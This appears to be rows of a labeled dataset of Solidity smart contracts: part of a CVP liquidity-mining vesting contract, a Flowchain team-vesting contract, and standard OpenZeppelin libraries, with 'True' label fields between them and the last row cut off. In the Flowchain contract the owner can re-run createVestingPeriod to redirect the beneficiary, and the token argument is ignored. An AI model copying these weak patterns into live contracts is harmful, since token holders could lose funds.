if (_user.vestingBlock > prevVestingBlock) {
user.vestingBlock = _user.vestingBlock;
}
if (_user.lastUpdateBlock > prevUpdateBlock) {
user.lastUpdateBlock = _user.lastUpdateBlock;
}
}
/* @dev Compute the amount of CVP tokens to be entitled and vested to a user of a pool
* ... and update the `_user` instance (in the memory):
* `_user.pendedCvp` gets increased by `newlyEntitled - newlyVested`
* `_user.vestingBlock` set to the updated value
* `_user.lastUpdateBlock` set to the current block
*
* @param _user - user to compute tokens for
* @param accCvpPerLpt - value of the pool' `pool.accCvpPerLpt`
* @return newlyEntitled - CVP amount to entitle (on top of tokens entitled so far)
* @return newlyVested - CVP amount to vest (on top of tokens already vested)
*/
function _computeCvpVesting(
User memory _user,
Pool memory pool,
UserPoolBoost memory _userPB,
PoolBoost memory _poolBoost
) internal view returns (uint256 newlyEntitled, uint256 newlyVested) {
uint32 prevBlock = _user.lastUpdateBlock;
_user.lastUpdateBlock = _currBlock();
if (prevBlock >= _user.lastUpdateBlock) {
return (0, 0);
}
uint32 age = _user.lastUpdateBlock - prevBlock;
// Tokens which are to be entitled starting from the `user.lastUpdateBlock`, shall be
// vested proportionally to the number of blocks already minted within the period between
// the `user.lastUpdateBlock` and `cvpVestingPeriodInBlocks` following the current block
newlyEntitled = uint256(_computeCvpToEntitle(_user, pool, _userPB, _poolBoost));
uint256 newToVest =
newlyEntitled == 0 ? 0 : (newlyEntitled.mul(uint256(age)).div(uint256(age + cvpVestingPeriodInBlocks)));
// Tokens which have been pended since the `user.lastUpdateBlock` shall be vested:
// - in full, if the `user.vestingBlock` has been mined
// - otherwise, proportionally to the number of blocks already mined so far in the period
// between the `user.lastUpdateBlock` and the `user.vestingBlock` (not yet mined)
uint256 pended = uint256(_user.pendedCvp);
age = _user.lastUpdateBlock >= _user.vestingBlock ? cvpVestingPeriodInBlocks : _user.lastUpdateBlock - prevBlock;
uint256 pendedToVest =
pended == 0
? 0
: (
age >= cvpVestingPeriodInBlocks
? pended
: pended.mul(uint256(age)).div(uint256(_user.vestingBlock - prevBlock))
);
newlyVested = pendedToVest.add(newToVest);
_user.pendedCvp = SafeMath96.fromUint(
uint256(_user.pendedCvp).add(newlyEntitled).sub(newlyVested),
"VLPMining::computeCvpVest:1"
);
// Amount of CVP token pended (i.e. not yet vested) from now
uint256 remainingPended = pended == 0 ? 0 : pended.sub(pendedToVest);
uint256 unreleasedNewly = newlyEntitled == 0 ? 0 : newlyEntitled.sub(newToVest);
uint256 pending = remainingPended.add(unreleasedNewly);
// Compute the vesting block (i.e. when the pended tokens to be all vested)
uint256 period = 0;
if (remainingPended == 0 || pending == 0) {
// newly entitled CVPs only or nothing remain pended
period = cvpVestingPeriodInBlocks;
} else {
// "old" CVPs and, perhaps, "new" CVPs are pending - the weighted average applied
age = _user.vestingBlock - _user.lastUpdateBlock;
period = ((remainingPended.mul(age)).add(unreleasedNewly.mul(cvpVestingPeriodInBlocks))).div(pending);
}
_user.vestingBlock =
_user.lastUpdateBlock +
(cvpVestingPeriodInBlocks > uint32(period) ? uint32(period) : cvpVestingPeriodInBlocks);
return (newlyEntitled, newlyVested);
}
function _computePoolReward(Pool memory _pool) internal view returns (uint256 poolCvpReward) {
(poolCvpReward, _pool.accCvpPerLpt, _pool.lastUpdateBlock) = _computeReward(
_pool.lastUpdateBlock,
_pool.accCvpPerLpt,
_pool.lpToken,
SCALE.mul(uint256(cvpPerBlock)).mul(uint256(_pool.allocPoint)).div(totalAllocPoint)
);
}
function _computePoolRewardByBoost(Pool memory _pool, PoolBoost memory _poolBoost)
internal
view
returns (uint256 poolCvpReward)
{
(poolCvpReward, _poolBoost.accCvpPerLpBoost, _pool.lastUpdateBlock) = _computeReward(
_pool.lastUpdateBlock,
_poolBoost.accCvpPerLpBoost,
_pool.lpToken,
_poolBoost.lpBoostRate
);
}
function _computePoolBoostReward(PoolBoost memory _poolBoost) internal view returns (uint256 poolCvpReward) {
(poolCvpReward, _poolBoost.accCvpPerCvpBoost, _poolBoost.lastUpdateBlock) = _computeReward(
_poolBoost.lastUpdateBlock,
_poolBoost.accCvpPerCvpBoost,
cvp,
_poolBoost.cvpBoostRate
);
}
function _computeReward(
uint256 _lastUpdateBlock,
uint256 _accumulated,
IERC20 _token,
uint256 _cvpPoolRate
)
internal
view
returns (
uint256 poolCvpReward,
uint256 newAccumulated,
uint32 newLastUpdateBlock
)
{
newAccumulated = _accumulated;
newLastUpdateBlock = _currBlock();
if (newLastUpdateBlock > _lastUpdateBlock) {
uint256 multiplier = uint256(newLastUpdateBlock - _lastUpdateBlock); // can't overflow
uint256 lptBalance = _token.balanceOf(address(this));
if (lptBalance != 0) {
poolCvpReward = multiplier.mul(_cvpPoolRate).div(SCALE);
newAccumulated = newAccumulated.add(poolCvpReward.mul(SCALE).div(lptBalance));
}
}
}
function _computeUserVotes(
uint192 userData,
uint192 sharedData,
uint192 sharedDataAtUserSave
) internal pure override returns (uint96 votes) {
(uint96 ownCvp, uint96 pooledCvpShare) = _unpackData(userData);
(uint96 currentTotalPooledCvp, ) = _unpackData(sharedData);
(uint96 totalPooledCvpAtUserSave, ) = _unpackData(sharedDataAtUserSave);
if (pooledCvpShare == 0) {
votes = ownCvp;
} else {
uint256 pooledCvp = uint256(pooledCvpShare).mul(currentTotalPooledCvp).div(SCALE);
if (currentTotalPooledCvp != totalPooledCvpAtUserSave) {
uint256 totalCvpDiffRatio = uint256(currentTotalPooledCvp).mul(SCALE).div(uint256(totalPooledCvpAtUserSave));
if (totalCvpDiffRatio > SCALE) {
pooledCvp = pooledCvp.mul(SCALE).div(totalCvpDiffRatio);
}
}
votes = ownCvp.add(SafeMath96.fromUint(pooledCvp, "VLPMining::_computeVotes"));
}
}
function _computeCvpToEntitle(
User memory user,
Pool memory pool,
UserPoolBoost memory userPB,
PoolBoost memory poolBoost
) private view returns (uint96 cvpResult) {
if (user.lptAmount == 0) {
return 0;
}
return
_computeCvpAdjustmentWithBoost(user.lptAmount, pool, userPB, poolBoost).sub(
user.cvpAdjust,
"VLPMining::computeCvp:2"
);
}
function _computeCvpAdjustmentWithBoost(
uint256 lptAmount,
Pool memory pool,
UserPoolBoost memory userPB,
PoolBoost memory poolBoost
) private view returns (uint96 cvpResult) {
cvpResult = _computeCvpAdjustment(lptAmount, pool.accCvpPerLpt);
if (poolBoost.cvpBoostRate == 0 || poolBoost.lpBoostRate == 0 || userPB.balance == 0) {
return cvpResult;
}
return
cvpResult.add(_computeCvpAdjustment(userPB.balance, poolBoost.accCvpPerCvpBoost)).add(
_computeCvpAdjustment(lptAmount, poolBoost.accCvpPerLpBoost)
);
}
function _computeCvpAdjustment(uint256 lptAmount, uint256 accCvpPerLpt) private pure returns (uint96) {
return SafeMath96.fromUint(lptAmount.mul(accCvpPerLpt).div(SCALE), "VLPMining::_computeCvpAdj");
}
function cvpAmountNotInBoundsToBoost(
uint256 _cvpAmount,
uint256 _lpAmount,
address _lpToken
) public view returns (bool) {
return
_cvpAmount < cvpBalanceToBoost(_lpAmount, _lpToken, true) ||
_cvpAmount > cvpBalanceToBoost(_lpAmount, _lpToken, false);
}
function cvpBalanceToBoost(
uint256 _lpAmount,
address _lpToken,
bool _min
) public view returns (uint256) {
return _lpAmount.mul(_min ? lpBoostRatioByToken[_lpToken] : lpBoostMaxRatioByToken[_lpToken]).div(SCALE);
}
function _validatePoolId(uint256 pid) private view {
require(pid < pools.length, "VLPMining: invalid pool id");
}
function _currBlock() private view returns (uint32) {
return SafeMath32.fromUint(block.number, "VLPMining::_currBlock:overflow");
}
function _preventSameTxOriginAndMsgSender() internal {
require(block.number > lastSwapBlock[tx.origin], "SAME_TX_ORIGIN");
lastSwapBlock[tx.origin] = block.number;
if (msg.sender != tx.origin) {
require(block.number > lastSwapBlock[msg.sender], "SAME_MSG_SENDER");
lastSwapBlock[msg.sender] = block.number;
}
}
} | True | [
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pragma solidity 0.4.24;
/**
* Copyright 2018, Flowchain.co
*
* The dapp of team vesting. The lock period is one year.
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
int256 constant private INT256_MIN = -2**255;
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below
int256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0); // Solidity only automatically asserts when dividing by 0
require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface Token {
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title TokenVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period. Optionally revocable by the
* owner.
*/
contract Vesting is Ownable {
using SafeMath for uint256;
Token public tokenReward;
// beneficiary of tokens after they are released
address private _beneficiary;
uint256 private _cliff;
uint256 private _start;
uint256 private _duration;
address public _addressOfTokenUsedAsReward;
address public creator;
mapping (address => uint256) private _released;
uint256 constant public VESTING_DURATION = 31536000; // 1 Year in second
/* Constrctor function */
function Vesting() payable {
creator = msg.sender;
createVestingPeriod(
0xA2690D72D6c932AE7Aa1cC0dE48aEaBBDCaf2799,
block.timestamp,
0,
VESTING_DURATION,
0x5b53f9755f82439cba66007ec7073c59e0da4a7d
);
}
/**
* @dev Creates a vesting contract that vests its balance of FLC token to the
* beneficiary, gradually in a linear fashion until start + duration. By then all
* of the balance will have vested.
* @param beneficiary address of the beneficiary to whom vested tokens are transferred
* @param cliffDuration duration in seconds of the cliff in which tokens will begin to vest
* @param start the time (as Unix time) at which point vesting starts
* @param duration duration in seconds of the period in which the tokens will vest
* @param addressOfTokenUsedAsReward where is the token contract
*/
function createVestingPeriod(address beneficiary, uint256 start, uint256 cliffDuration, uint256 duration, address addressOfTokenUsedAsReward) public onlyOwner {
require(cliffDuration <= duration);
require(duration > 0);
require(start.add(duration) > block.timestamp);
_beneficiary = beneficiary;
_duration = duration;
_cliff = start.add(cliffDuration);
_start = start;
_addressOfTokenUsedAsReward = addressOfTokenUsedAsReward;
tokenReward = Token(addressOfTokenUsedAsReward);
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @return the cliff time of the token vesting.
*/
function cliff() public view returns (uint256) {
return _cliff;
}
/**
* @return the start time of the token vesting.
*/
function start() public view returns (uint256) {
return _start;
}
/**
* @return the duration of the token vesting.
*/
function duration() public view returns (uint256) {
return _duration;
}
/**
* @return the amount of the token released.
*/
function released(address token) public view returns (uint256) {
return _released[token];
}
/**
* @notice Mints and transfers tokens to beneficiary.
* @param token ERC20 token which is being vested
*/
function release(address token) public onlyOwner {
uint256 unreleased = _releasableAmount(token);
require(unreleased > 0);
_released[token] = _released[token].add(unreleased);
tokenReward.transfer(_beneficiary, unreleased);
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param token ERC20 token which is being vested
*/
function _releasableAmount(address token) private view returns (uint256) {
return _vestedAmount(token).sub(_released[token]);
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function _vestedAmount(address token) private view returns (uint256) {
uint256 currentBalance = tokenReward.balanceOf(address(this));
uint256 totalBalance = currentBalance.add(_released[token]);
if (block.timestamp < _cliff) {
return 0;
} else if (block.timestamp >= _start.add(_duration)) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(_start)).div(_duration);
}
}
} | True | [
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// File: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/utils/ReentrancyGuard.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
